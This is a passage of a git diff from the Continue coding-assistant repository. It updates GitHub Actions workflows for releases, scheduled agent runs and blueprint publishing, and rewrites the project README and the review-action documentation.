"session_url=$SESSION_URL" >> $GITHUB_OUTPUT - echo "✅ Started remote session: $SESSION_URL" - - - name: Comment with session URL - if: steps.check-mention.outputs.contains_mention == 'true' && steps.remote-session.outputs.session_url - uses: actions/github-script@v8 - env: - ORIGINAL_COMMENT: ${{ github.event.comment.body }} - with: - script: | - const sessionUrl = '${{ steps.remote-session.outputs.session_url }}'; - const originalComment = process.env.ORIGINAL_COMMENT; - const commentBody = "I've started [a remote session](" + sessionUrl + ") to help with your request:\n> " + originalComment; - - const commentParams = { - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: ${{ github.event.pull_request.number }}, - body: commentBody, - commit_id: '${{ github.event.pull_request.head.sha }}', - path: '${{ github.event.comment.path }}', - in_reply_to: ${{ github.event.comment.id }} - }; - - await github.rest.pulls.createReviewComment(commentParams); - - - name: Log session details - if: steps.check-mention.outputs.contains_mention == 'true' - run: | - echo "✅ Successfully started remote session for review comment from ${{ github.event.comment.user.login }} on PR #${{ github.event.pull_request.number }}" - echo "Session URL: ${{ steps.remote-session.outputs.session_url }}" - echo "File: ${{ github.event.comment.path }}" - echo "Line: ${{ github.event.comment.line }}" - echo "Original comment:" - cat /tmp/review_comment.txt diff --git a/.github/workflows/reusable-release.yml b/.github/workflows/reusable-release.yml index e763aa04c..21986c0f3 100644 --- a/.github/workflows/reusable-release.yml +++ b/.github/workflows/reusable-release.yml @@ -59,7 +59,7 @@ jobs: uses: ./.github/actions/setup-packages - name: Use Node.js from .nvmrc - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/run-continue-agent.yml b/.github/workflows/run-continue-agent.yml new file mode 100644 index 000000000..c98cf963a --- /dev/null +++ b/.github/workflows/run-continue-agent.yml @@ -0,0 +1,41 @@ +name: Run Continue Agent + +on: + workflow_call: + inputs: + prompt: + description: "The prompt to send to the Continue agent" + required: true + type: string + config: + description: "The config to use (e.g., continuedev/default-background-agent)" + required: false + type: string + default: "continuedev/default-background-agent" + branch_name: + description: "The base branch name to work from" + required: false + type: string + default: "main" + secrets: + CONTINUE_API_KEY: + required: true + +jobs: + run-agent: + runs-on: ubuntu-latest + + steps: + - name: Call agents endpoint + run: | + response=$(curl -f -X POST https://api.continue.dev/agents \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer ${{ secrets.CONTINUE_API_KEY }}" \ + -d '{ + "prompt": "${{ inputs.prompt }}", + "config": "${{ inputs.config }}", + "branchName": "${{ inputs.branch_name }}", + "repoUrl": "https://github.com/${{ github.repository }}" + }') + id=$(echo $response | jq -r '.id') + echo "https://hub.continue.dev/agents/$id" diff --git a/.github/workflows/runloop-blueprint-template.json b/.github/workflows/runloop-blueprint-template.json new file mode 100644 index 000000000..d0fcf57c1 --- /dev/null +++ b/.github/workflows/runloop-blueprint-template.json @@ -0,0 +1,8 @@ +{ + "name": "cn", + "system_setup_commands": [ + "npm i -g @continuedev/cli@latest", + "sudo apt update", + "sudo apt install -y ripgrep" + ] +} diff --git a/.github/workflows/snyk-agent.yaml b/.github/workflows/snyk-agent.yaml new file mode 100644 index 000000000..969c43907 --- /dev/null +++ b/.github/workflows/snyk-agent.yaml @@ -0,0 +1,31 @@ +name: Daily Snyk Agent + +on: + schedule: + # Runs at 9:00 AM UTC every day + - cron: "0 9 * * *" + workflow_dispatch: # Allows manual triggering + +jobs: + run-cn-task: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + with: + token: ${{ secrets.GITHUB_TOKEN }} + fetch-depth: 0 + + - name: Setup Node.js + uses: actions/setup-node@v6 + with: + node-version: "20" + + - name: Install Continue CLI globally + run: npm install -g @continuedev/cli@latest + + - name: Run Snyk Agent + run: cd extensions/cli && cn -p --agent continuedev/snyk-code-scan-agent "The current directory" + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} diff --git a/.github/workflows/stable-release.yml b/.github/workflows/stable-release.yml index b97970da2..b21f52eb1 100644 --- a/.github/workflows/stable-release.yml +++ b/.github/workflows/stable-release.yml @@ -40,7 +40,7 @@ jobs: token: ${{ secrets.SEMANTIC_RELEASE_TOKEN }} - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version: 20 registry-url: "https://registry.npmjs.org" @@ -208,7 +208,7 @@ jobs: # Create GitHub release gh release create "v${{ steps.final_version.outputs.stable_version }}" \ - --title "Stable Release v${{ steps.final_version.outputs.stable_version }}" \ + --title "CLI Stable Release v${{ steps.final_version.outputs.stable_version }}" \ --notes "${{ steps.final_version.outputs.release_notes }}" \ --latest @@ -220,3 +220,40 @@ jobs: # Mark the original beta release as superseded gh release edit "v${{ steps.find_beta.outputs.beta_version }}" \ --notes "This beta version has been promoted to stable as v${{ steps.final_version.outputs.stable_version }}." + + - name: Publish Blueprint to Runloop + env: + RUNLOOP_API_KEY: ${{ secrets.RUNLOOP_API_KEY }} + run: | + echo "Publishing blueprint 'cn' to Runloop API for version ${{ steps.final_version.outputs.stable_version }}" + + # Use blueprint configuration from template file + cp .github/workflows/runloop-blueprint-template.json blueprint.json + + # Publish to Runloop API + response=$(curl -X POST "https://api.runloop.ai/v1/blueprints" \ + -H "Authorization: Bearer $RUNLOOP_API_KEY" \ + -H "Content-Type: application/json" \ + -d @blueprint.json \ + -w "%{http_code}" \ + -s) + + http_code=$(echo "$response" | tail -c 4) + response_body=$(echo "$response" | head -c -4) + + if [[ "$http_code" == "200" ]] || [[ "$http_code" == "201" ]]; then + echo "✅ Successfully published blueprint to Runloop API" + echo "Response: $response_body" + + # Extract blueprint ID if available + blueprint_id=$(echo "$response_body" | jq -r '.id // empty') + if [[ -n "$blueprint_id" ]]; then + echo "Blueprint ID: $blueprint_id" + echo "blueprint_id=$blueprint_id" >> $GITHUB_OUTPUT + fi + else + echo "❌ Failed to publish blueprint to Runloop API" + echo "HTTP Code: $http_code" + echo "Response: $response_body" + exit 1 + fi diff --git a/.github/workflows/submit-github-dependency-graph.yml b/.github/workflows/submit-github-dependency-graph.yml index 08373c66a..b647c6557 100644 --- a/.github/workflows/submit-github-dependency-graph.yml +++ b/.github/workflows/submit-github-dependency-graph.yml @@ -19,7 +19,7 @@ jobs: distribution: "temurin" java-version: 17 - name: Generate and submit dependency graph - uses: gradle/actions/dependency-submission@v4 + uses: gradle/actions/dependency-submission@v5 with: # The gradle project is not in the root of the repository. build-root-directory: extensions/intellij diff --git a/.github/workflows/tidy-up-codebase.yml b/.github/workflows/tidy-up-codebase.yml new file mode 100644 index 000000000..729998a28 --- /dev/null +++ b/.github/workflows/tidy-up-codebase.yml @@ -0,0 +1,17 @@ +name: Weekly CN Task + +on: + schedule: + # Runs at 8/9:30 AM PST (16:30 UTC) every Monday so PR shows up at beginning of week + - cron: "30 16 * * 1" + workflow_dispatch: # Allows manual triggering + +jobs: + run-cn-task: + uses: ./.github/workflows/run-continue-agent.yml + with: + prompt: "Review every Markdown documentation file and verify that descriptions, examples, or behavior outlines accurately reflect the current code. Only update documentation; do not modify code. Check the corresponding code to confirm behavior before making changes. Correct any inaccuracies or outdated information in descriptions, examples, or behavior outlines. Preserve existing Markdown formatting, style, and structure. Do not add new sections, speculative explanations, or details not present in the code. Only update statements that are clearly incorrect or misleading; do not rewrite text for style or preference. Keep edits minimal and focused, ensuring that the Markdown matches what the code actually does. If verification against the code is ambiguous, leave the documentation unchanged. Use branch name bot/cleanup--" + config: continuedev/default-background-agent + branch_name: main + secrets: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} diff --git a/.github/workflows/vscode-prerelease.yml b/.github/workflows/vscode-prerelease.yml new file mode 100644 index 000000000..2d4ed94d6 --- /dev/null +++ b/.github/workflows/vscode-prerelease.yml @@ -0,0 +1,231 @@ +name: VSCode Pre-release + +on: + workflow_dispatch: + inputs: + main_commit_sha: + description: "Main branch commit SHA to create pre-release from - leave empty to use HEAD of main" + required: false + type: string + prerelease_version: + description: "New pre-release version (e.g., 1.3.15) - leave empty to auto-increment" + required: false + type: string + +permissions: + contents: write + pull-requests: write + +jobs: + create-prerelease: + name: Create VSCode Pre-release + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + with: + ref: ${{ inputs.main_commit_sha || 'main' }} + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Setup Node.js + uses: actions/setup-node@v6 + with: + node-version: 20 + + - name: Determine version numbers + id: version + working-directory: extensions/vscode + run: | + # Get current version from package.json + CURRENT_VERSION=$(node -p "require('./package.json').version") + echo "Current version in package.json: $CURRENT_VERSION" + + # Determine new pre-release version + if [[ -n "${{ inputs.prerelease_version }}" ]]; then + NEW_VERSION="${{ inputs.prerelease_version }}" + echo "Using manually specified new version: $NEW_VERSION" + else + # Auto-increment patch version + IFS='.' read -r major minor patch <<< "$CURRENT_VERSION" + NEW_PATCH=$((patch + 1)) + NEW_VERSION="${major}.${minor}.${NEW_PATCH}" + echo "Auto-incremented version: $NEW_VERSION" + fi + + TAG_NAME="v${NEW_VERSION}-vscode" + + echo "previous_version=$CURRENT_VERSION" >> $GITHUB_OUTPUT + echo "new_version=$NEW_VERSION" >> $GITHUB_OUTPUT + echo "tag_name=$TAG_NAME" >> $GITHUB_OUTPUT + + echo "Summary:" + echo " Previous version: $CURRENT_VERSION" + echo " New version: $NEW_VERSION" + echo " Tag name: $TAG_NAME" + + - name: Create pre-release branch + id: branch + run: | + BRANCH_NAME="prerelease/vscode-${{ steps.version.outputs.new_version }}" + echo "branch_name=$BRANCH_NAME" >> $GITHUB_OUTPUT + + git config --local user.email "action@github.com" + git config --local user.name "GitHub Action" + + git checkout -b "$BRANCH_NAME" + echo "Created branch: $BRANCH_NAME" + + - name: Update package.json version + working-directory: extensions/vscode + run: | + # Update version in package.json + npm version ${{ steps.version.outputs.new_version }} --no-git-tag-version + + echo "Updated package.json to version ${{ steps.version.outputs.new_version }}" + + - name: Commit version bump + run: | + git config --local user.email "action@github.com" + git config --local user.name "GitHub Action" + + git add extensions/vscode/package.json + git commit -m "chore: bump VSCode extension version to ${{ steps.version.outputs.new_version }}" + + echo "Committed version bump" + + - name: Push branch and create PR + id: pr + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + git push origin "${{ steps.branch.outputs.branch_name }}" + echo "Pushed branch: ${{ steps.branch.outputs.branch_name }}" + + # Create pull request + PR_URL=$(gh pr create \ + --base main \ + --head "${{ steps.branch.outputs.branch_name }}" \ + --title "chore: VSCode pre-release ${{ steps.version.outputs.new_version }}" \ + --body "$(cat <<'EOF' + ## VSCode Pre-release ${{ steps.version.outputs.new_version }} + + This PR bumps the VSCode extension version for pre-release. + + ### Changes + - Version bumped from ${{ steps.version.outputs.previous_version }} to ${{ steps.version.outputs.new_version }} + - Based on commit: ${{ inputs.main_commit_sha }} + + ### Release Process + After merging this PR: + 1. The tag \`${{ steps.version.outputs.tag_name }}\` will be created automatically + 2. A GitHub pre-release will be created with auto-generated release notes + + 🤖 This PR was created automatically by the VSCode Pre-release workflow. + EOF + )") + + echo "pr_url=$PR_URL" >> $GITHUB_OUTPUT + echo "Created PR: $PR_URL" + + - name: Auto-merge PR + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + # Get PR number from URL + PR_NUMBER=$(echo "${{ steps.pr.outputs.pr_url }}" | grep -oE '[0-9]+$') + + # Merge the PR + gh pr merge "$PR_NUMBER" --squash --auto + + echo "PR #$PR_NUMBER set to auto-merge" + + # Wait for merge to complete (with timeout) + echo "Waiting for PR to be merged..." + TIMEOUT=300 # 5 minutes + ELAPSED=0 + INTERVAL=10 + + while [ $ELAPSED -lt $TIMEOUT ]; do + PR_STATE=$(gh pr view "$PR_NUMBER" --json state --jq '.state') + if [ "$PR_STATE" = "MERGED" ]; then + echo "PR successfully merged!" + break + fi + sleep $INTERVAL + ELAPSED=$((ELAPSED + INTERVAL)) + echo "Still waiting... ($ELAPSED seconds elapsed)" + done + + if [ $ELAPSED -ge $TIMEOUT ]; then + echo "Warning: Timed out waiting for PR merge. Please check manually." && exit 1 + fi + + - name: Checkout main branch + run: | + git fetch origin main + git checkout main + git pull origin main + + - name: Create and push tag + run: | + git config --local user.email "action@github.com" + git config --local user.name "GitHub Action" + + git tag "${{ steps.version.outputs.tag_name }}" + git push origin "${{ steps.version.outputs.tag_name }}" + + echo "Created and pushed tag: ${{ steps.version.outputs.tag_name }}" + + - name: Get previous tag for release notes + id: prev_tag + run: | + # Find the previous vscode pre-release tag + PREV_TAG=$(git tag -l "v*-vscode" --sort=-version:refname | head -n 2 | tail -n 1) + + if [ -z "$PREV_TAG" ]; then + echo "No previous tag found, using first commit" + PREV_TAG=$(git rev-list --max-parents=0 HEAD) + fi + + echo "prev_tag=$PREV_TAG" >> $GITHUB_OUTPUT + echo "Previous tag for release notes: $PREV_TAG" + + - name: Create GitHub pre-release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + # Generate release notes between previous tag and current tag + RELEASE_NOTES=$(gh api \ + --method POST \ + -H "Accept: application/vnd.github+json" \ + /repos/${{ github.repository }}/releases/generate-notes \ + -f tag_name="${{ steps.version.outputs.tag_name }}" \ + -f target_commitish="main" \ + -f previous_tag_name="${{ steps.prev_tag.outputs.prev_tag }}" \ + --jq '.body') + + # Create the pre-release + gh release create "${{ steps.version.outputs.tag_name }}" \ + --title "VSCode Pre-release ${{ steps.version.outputs.new_version }}" \ + --notes "$RELEASE_NOTES" \ + --prerelease \ + --target main + + echo "Created pre-release: ${{ steps.version.outputs.tag_name }}" + + - name: Summary + run: | + echo "## VSCode Pre-release Created Successfully! 🚀" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "### Version Information" >> $GITHUB_STEP_SUMMARY + echo "- **Previous Version:** ${{ steps.version.outputs.previous_version }}" >> $GITHUB_STEP_SUMMARY + echo "- **New Version:** ${{ steps.version.outputs.new_version }}" >> $GITHUB_STEP_SUMMARY + echo "- **Tag:** \`${{ steps.version.outputs.tag_name }}\`" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "### Links" >> $GITHUB_STEP_SUMMARY + echo "- **PR:** ${{ steps.pr.outputs.pr_url }}" >> $GITHUB_STEP_SUMMARY + echo "- **Release:** https://github.com/${{ github.repository }}/releases/tag/${{ steps.version.outputs.tag_name }}" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "### Commit" >> $GITHUB_STEP_SUMMARY + echo "- **Base Commit:** \`${{ inputs.main_commit_sha }}\`" >> $GITHUB_STEP_SUMMARY diff --git a/.github/workflows/vscode-version-bump.yml b/.github/workflows/vscode-version-bump.yml index dbf258f35..ba3ea08c4 100644 --- a/.github/workflows/vscode-version-bump.yml +++ b/.github/workflows/vscode-version-bump.yml @@ -21,7 +21,7 @@ jobs: gh auth login --with-token <<< "${{ github.token }}" - name: Use Node.js from .nvmrc - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" diff --git a/.gitignore b/.gitignore index 48f5c370e..2b6b498ff 100644 --- a/.gitignore +++ b/.gitignore @@ -172,4 +172,7 @@ extensions/.continue-debug/ .continuerules **/.continue/assistants/ **/.continue/agents/ -keys \ No newline at end of file +keys + +.channels_cache.json +.users_cache.json diff --git a/.husky/pre-commit b/.husky/pre-commit new file mode 100644 index 000000000..2312dc587 --- /dev/null +++ b/.husky/pre-commit @@ -0,0 +1 @@ +npx lint-staged diff --git a/.prettierignore b/.prettierignore index 51cd37d83..7b9235d9f 100644 --- a/.prettierignore +++ b/.prettierignore @@ -4,19 +4,25 @@ binary/out binary/tmp core/.continue-test docs/.docusaurus +docs/**/*.mdx extensions/.continue-debug extensions/vscode/continue_rc_schema.json extensions/vscode/.vscode-test extensions/vscode/bin extensions/vscode/build extensions/vscode/out +extensions/vscode/textmate-syntaxes extensions/vscode/gui extensions/vscode/e2e/.test-extensions extensions/vscode/e2e/test-continue +extensions/vscode/e2e/_output +extensions/vscode/e2e/storage +extensions/vscode/e2e/vsix extensions/vscode/models extensions/intellij/src/main/resources gui/dist **/.continueignore +.continue/rules/mintlify-formatting.md CHANGELOG.md **/continue_tutorial.py **/node_modules @@ -24,4 +30,5 @@ CHANGELOG.md core/vendor coverage # e2e -packages/continue-sdk \ No newline at end of file +packages/continue-sdk +.conductor \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json index dbcac057f..bce0483d6 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -136,8 +136,9 @@ "name": "Debug CLI", "type": "node", "request": "launch", - "program": "${workspaceFolder}/extensions/cli/src/index.ts", + "program": "${workspaceFolder}/extensions/cli/dist/cn.js", "args": [], + "runtimeArgs": ["--enable-source-maps"], "env": { "NODE_ENV": "development" // "CONTINUE_API_BASE": "http://localhost:3001/", @@ -147,14 +148,48 @@ "console": "integratedTerminal", "internalConsoleOptions": "neverOpen", "skipFiles": ["/**"], - "runtimeArgs": ["--loader", "ts-node/esm"], "sourceMaps": true, + "outFiles": ["${workspaceFolder}/extensions/cli/dist/**/*.js"], + "sourceMapPathOverrides": { + "../src/*": "${workspaceFolder}/extensions/cli/src/*", + "../../core/*": "${workspaceFolder}/core/*" + }, "resolveSourceMapLocations": [ "${workspaceFolder}/**", "!**/node_modules/**" ], "preLaunchTask": "cli:build-and-watch-logs", - "cwd": "${workspaceFolder}/extensions/cli" + "cwd": "${workspaceFolder}/manual-testing-sandbox" + }, + { + "name": "Debug CLI - AWS Bedrock", + "type": "node", + "request": "launch", + "program": "${workspaceFolder}/extensions/cli/dist/cn.js", + "args": [], + "runtimeArgs": ["--enable-source-maps"], + "env": { + "NODE_ENV": "development", + "CONTINUE_USE_BEDROCK": "1" + // "CONTINUE_API_BASE": "http://localhost:3001/", + // "WORKOS_CLIENT_ID": "client_01J0FW6XCPMJMQ3CG51RB4HBZQ", + // "HUB_URL": "http://localhost:3000" + }, + "console": "integratedTerminal", + "internalConsoleOptions": "neverOpen", + "skipFiles": ["/**"], + "sourceMaps": true, + "outFiles": ["${workspaceFolder}/extensions/cli/dist/**/*.js"], + "sourceMapPathOverrides": { + "../src/*": "${workspaceFolder}/extensions/cli/src/*", + "../../core/*": "${workspaceFolder}/core/*" + }, + "resolveSourceMapLocations": [ + "${workspaceFolder}/**", + "!**/node_modules/**" + ], + "preLaunchTask": "cli:build-and-watch-logs", + "cwd": "${workspaceFolder}/manual-testing-sandbox" }, { "name": "Debug CLI Tests", diff --git a/.vscode/settings.json b/.vscode/settings.json index 9f3f17f98..0e2cdfd7e 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -23,6 +23,7 @@ "binary/build/**": true, "binary/out/**": true, "binary/tmp/**": true, + "core/dist/**": true, "core/edit/lazy/test-examples/**": true, "core/llm/llamaTokenizer.js": true, "core/llm/llamaTokenizer.mjs": true, diff --git a/.vscode/tasks.json b/.vscode/tasks.json index 9b34de0f1..01cdb09f9 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -108,7 +108,7 @@ "label": "vscode-extension:continue-ui:build", "type": "shell", "command": "node", - "args": ["${workspaceFolder}/extensions/vscode/scripts/prepackage.js"], + "args": ["scripts/prepackage.js"], "problemMatcher": ["$tsc"], "presentation": { "group": "build-tasks", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 21c645480..a3abb6e99 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -252,7 +252,7 @@ add it with the following steps: 3. If your provider supports images, add it to the `PROVIDER_SUPPORTS_IMAGES` array in [core/llm/autodetect.ts](./core/llm/autodetect.ts). 4. Add a documentation page for your provider in [ - `docs/docs/customize/model-providers/more`](./docs/docs/customize/model-providers/more). This should show an example + `docs/customize/model-providers/more`](./docs/customize/model-providers/more). This should show an example of configuring your provider in `config.yaml` and explain what options are available. ### Adding Models diff --git a/README.md b/README.md index 47e303c95..6ad3b5c01 100644 --- a/README.md +++ b/README.md @@ -27,35 +27,29 @@ **Ship faster with Continuous AI** -**Build and run custom agents across your IDE, terminal, and CI** +**The future of coding isn't writing more code. It's delegating the boring parts, so you can build the interesting stuff** -Get started in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue), [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension), or [CLI](https://docs.continue.dev/guides/cli) +Get started in [Mission Control](https://hub.continue.dev/agents), [CLI (Headless Mode)](https://docs.continue.dev/cli/quick-start#headless-mode), or [CLI (TUI mode)](https://docs.continue.dev/cli/quick-start#tui-mode) -## Agent +## Background Agents -[Agent](https://docs.continue.dev/features/agent/quick-start) to work on development tasks together with AI +Set workflows to run automatically on [PR opens](https://docs.continue.dev/guides/continuous-ai#pattern-2-the-pr-review-agent), [schedules](https://docs.continue.dev/guides/continuous-ai#pattern-1-the-async-triage-bot), or [any event trigger](https://docs.continue.dev/cli/quick-start#headless-mode) -![agent](docs/images/agent.gif) +![Background Agents](docs/images/background-agent.gif) -## Chat +## CLI Agents -[Chat](https://docs.continue.dev/features/chat/quick-start) to ask general questions and clarify code sections +Watch workflows execute in real-time and approve decisions step-by-step from your [terminal](https://docs.continue.dev/cli/quick-start#tui-mode) -![chat](docs/images/chat.gif) +![CLI Agents](docs/images/cli-agent.gif) -## Edit +## IDE Agents -[Edit](https://docs.continue.dev/features/edit/quick-start) to modify a code section without leaving your current file +Trigger workflows from [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension)—let agents handle the refactoring while you keep coding -![edit](docs/images/edit.gif) - -## Autocomplete - -[Autocomplete](https://docs.continue.dev/features/autocomplete/quick-start) to receive inline code suggestions as you type - -![autocomplete](docs/images/autocomplete.gif) +![IDE Agents](docs/images/agent.gif) diff --git a/actions/README.md b/actions/README.md index 6d3bbf377..2e0967d7e 100644 --- a/actions/README.md +++ b/actions/README.md @@ -4,64 +4,19 @@ GitHub Actions that provide automated code reviews for pull requests using Conti ## Available Actions -This repository provides two GitHub Actions for different review styles: +This repository provides a GitHub Action for automated PR reviews: -### 1. General Review Action +### General Review Action Provides high-level PR assessment with overall feedback and recommendations. -- **Path:** `continuedev/continue/actions/general-review@` -- **Trigger:** `@continue-general-review` +- **Path:** `continuedev/continue/actions/general-review@main` +- **Trigger:** `@continue-review` - **Output:** Summary comment with strengths, issues, and recommendations -### 2. Detailed Review Action - -Provides line-by-line inline comments on specific code changes. - -- **Path:** `continuedev/continue/actions/detailed-review@` -- **Trigger:** `@continue-detailed-review` -- **Output:** Inline review comments on specific lines of code - ## Quick Start -### Using Both Actions Together - -```yaml -name: PR Reviews -on: - pull_request: - types: [opened, ready_for_review] - issue_comment: - types: [created] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - general-review: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: continuedev/continue/actions/general-review@ - with: - continue-api-key: ${{ secrets.CONTINUE_API_KEY }} - continue-org: "your-org-name" - continue-config: "your-org-name/review-bot" - - detailed-review: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: continuedev/continue/actions/detailed-review@ - with: - continue-api-key: ${{ secrets.CONTINUE_API_KEY }} - continue-org: "your-org-name" - continue-config: "your-org-name/review-bot" -``` - -### General Review Only +### Setting up General Review ```yaml name: PR General Review @@ -81,34 +36,7 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 10 steps: - - uses: continuedev/continue/actions/general-review@ - with: - continue-api-key: ${{ secrets.CONTINUE_API_KEY }} - continue-org: "your-org-name" - continue-config: "your-org-name/review-bot" -``` - -### Detailed Review Only - -```yaml -name: PR Detailed Review -on: - pull_request: - types: [opened, ready_for_review] - issue_comment: - types: [created] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - review: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: continuedev/continue/actions/detailed-review@ + - uses: continuedev/continue/actions/general-review@main with: continue-api-key: ${{ secrets.CONTINUE_API_KEY }} continue-org: "your-org-name" @@ -117,7 +45,7 @@ jobs: ## Inputs -Both actions accept the same inputs: +The action accepts the following inputs: | Input | Description | Required | | ------------------ | -------------------------------------- | -------- | @@ -155,7 +83,7 @@ The workflow requires these permissions: ## Triggering Reviews -Both actions can be triggered in two ways: +The action can be triggered in two ways: ### Automatic Triggers @@ -166,12 +94,9 @@ Both actions can be triggered in two ways: Team members can trigger reviews by commenting on any pull request: -- `@continue-general-review` - Triggers a general review -- `@continue-detailed-review` - Triggers a detailed inline review +- `@continue-review` - Triggers a review -## Review Outputs - -### General Review Output +## Review Output The general review provides a structured comment that includes: @@ -180,46 +105,24 @@ The general review provides a structured comment that includes: - **Suggestions**: Improvement recommendations - **Overall Assessment**: Final recommendation (APPROVE, REQUEST_CHANGES, or COMMENT) -### Detailed Review Output - -The detailed review provides: - -- **Inline Comments**: Specific feedback on individual lines of code -- **Position Markers**: Comments appear directly on the changed lines -- **Review Summary**: Overall assessment of the changes -- **Actionable Feedback**: Specific suggestions for each issue found - ## How It Works -### General Review Process - 1. Checks out repository code 2. Fetches PR diff using GitHub CLI 3. Generates a comprehensive review prompt 4. Runs Continue CLI with specified configuration 5. Posts review as a PR comment -### Detailed Review Process - -1. Checks out repository code -2. Fetches PR diff with GitHub API positions -3. Annotates diff with position markers -4. Generates inline review prompt -5. Runs Continue CLI for detailed analysis -6. Posts inline comments using GitHub's review API - ## Versioning -We recommend using a specific commit SHA for stability and predictability: +We recommend using the main branch: -- `@` - Pins to a specific commit for maximum stability (recommended) -- `@main` - Uses the latest code from the main branch (for bleeding edge) -- `@v1` - Uses a version tag when available +- `@main` - Uses the latest code from the main branch Example: ```yaml -uses: continuedev/continue/actions/general-review@64bda6b2b3dac1037e9895dbee4ce1d35565e1fe +uses: continuedev/continue/actions/general-review@main ``` ## Troubleshooting @@ -236,12 +139,6 @@ uses: continuedev/continue/actions/general-review@64bda6b2b3dac1037e9895dbee4ce1 - Verify your Continue configuration is correct - Ensure your Continue API key is valid -### Inline comments not appearing (Detailed Review) - -- Check that the PR has a valid diff -- Verify GitHub API permissions are correct -- Review action logs for position calculation errors - ## Support For issues or questions: diff --git a/actions/detailed-review/action.yml b/actions/detailed-review/action.yml deleted file mode 100644 index f8273cc50..000000000 --- a/actions/detailed-review/action.yml +++ /dev/null @@ -1,434 +0,0 @@ -name: 'Continue Detailed PR Review' -description: 'Automated inline code review for pull requests using Continue CLI' -author: 'Continue Dev, Inc.' - -inputs: - continue-api-key: - description: 'API key for Continue service' - required: true - continue-org: - description: 'Organization for Continue config' - required: true - continue-config: - description: 'Config path to use (e.g., "myorg/review-bot")' - required: true - -runs: - using: 'composite' - steps: - - name: Checkout Repository - uses: actions/checkout@v4 - - - name: Check Authorization - shell: bash - env: - # Only move the dangerous check to env to prevent shell injection - HAS_TRIGGER_PHRASE: ${{ contains(github.event.comment.body, '@continue-detailed-review') }} - run: | - # Check if this action should run based on event type and user permissions - SHOULD_RUN="false" - - if [ "${{ github.event_name }}" = "pull_request" ]; then - # Check if PR is a draft - if [ "${{ github.event.pull_request.draft }}" = "true" ]; then - echo "::notice::Skipping review - PR is a draft" - else - # Check PR author association - AUTHOR_ASSOC="${{ github.event.pull_request.author_association }}" - if [ "$AUTHOR_ASSOC" = "OWNER" ] || [ "$AUTHOR_ASSOC" = "MEMBER" ] || [ "$AUTHOR_ASSOC" = "COLLABORATOR" ]; then - SHOULD_RUN="true" - else - echo "::notice::Skipping review - PR author is not a team member (association: $AUTHOR_ASSOC)" - fi - fi - elif [ "${{ github.event_name }}" = "issue_comment" ]; then - # Check if it's a PR comment with the trigger phrase - if [ "${{ github.event.issue.pull_request }}" != "" ] && [ "$HAS_TRIGGER_PHRASE" = "true" ]; then - COMMENTER_ASSOC="${{ github.event.comment.author_association }}" - if [ "$COMMENTER_ASSOC" = "OWNER" ] || [ "$COMMENTER_ASSOC" = "MEMBER" ] || [ "$COMMENTER_ASSOC" = "COLLABORATOR" ]; then - SHOULD_RUN="true" - else - echo "::notice::Skipping review - Commenter is not a team member (association: $COMMENTER_ASSOC)" - fi - else - echo "::notice::Skipping review - Comment does not contain @continue-detailed-review trigger, or is not on a PR" - fi - else - echo "::notice::Skipping review - Event type ${{ github.event_name }} is not supported" - fi - - if [ "$SHOULD_RUN" != "true" ]; then - echo "SKIP_REVIEW=true" >> $GITHUB_ENV - exit 0 - fi - - echo "SKIP_REVIEW=false" >> $GITHUB_ENV - - - name: Setup Node.js - if: env.SKIP_REVIEW != 'true' - uses: actions/setup-node@v4 - with: - node-version: 20 - - - name: Install Continue CLI - if: env.SKIP_REVIEW != 'true' - shell: bash - run: npm install -g @continuedev/cli@1.4.30 - - - name: Build Inline Review Prompt - if: env.SKIP_REVIEW != 'true' - shell: bash - env: - GH_TOKEN: ${{ github.token }} - run: | - # Get PR number based on event type - if [ "${{ github.event_name }}" = "pull_request" ]; then - PR_NUMBER="${{ github.event.number }}" - else - # For issue_comment event on a PR - PR_NUMBER="${{ github.event.issue.number }}" - fi - - # Get PR files with line numbers - gh api repos/${{ github.repository }}/pulls/$PR_NUMBER/files > pr_files.json - - # Get PR diff with context - gh pr diff $PR_NUMBER --color=never > pr_diff.txt - - # Annotate diff with GitHub API positions - node ${{ github.action_path }}/annotate-diff.js pr_diff.txt > pr_diff_annotated.txt - - # Debug: Show sample of annotated diff - echo "=== SAMPLE OF ANNOTATED DIFF ===" - head -100 pr_diff_annotated.txt | grep -E "^\[POS:|^@@|^diff --git" || head -50 pr_diff_annotated.txt - echo "=== END SAMPLE ===" - - # Create review prompt for inline 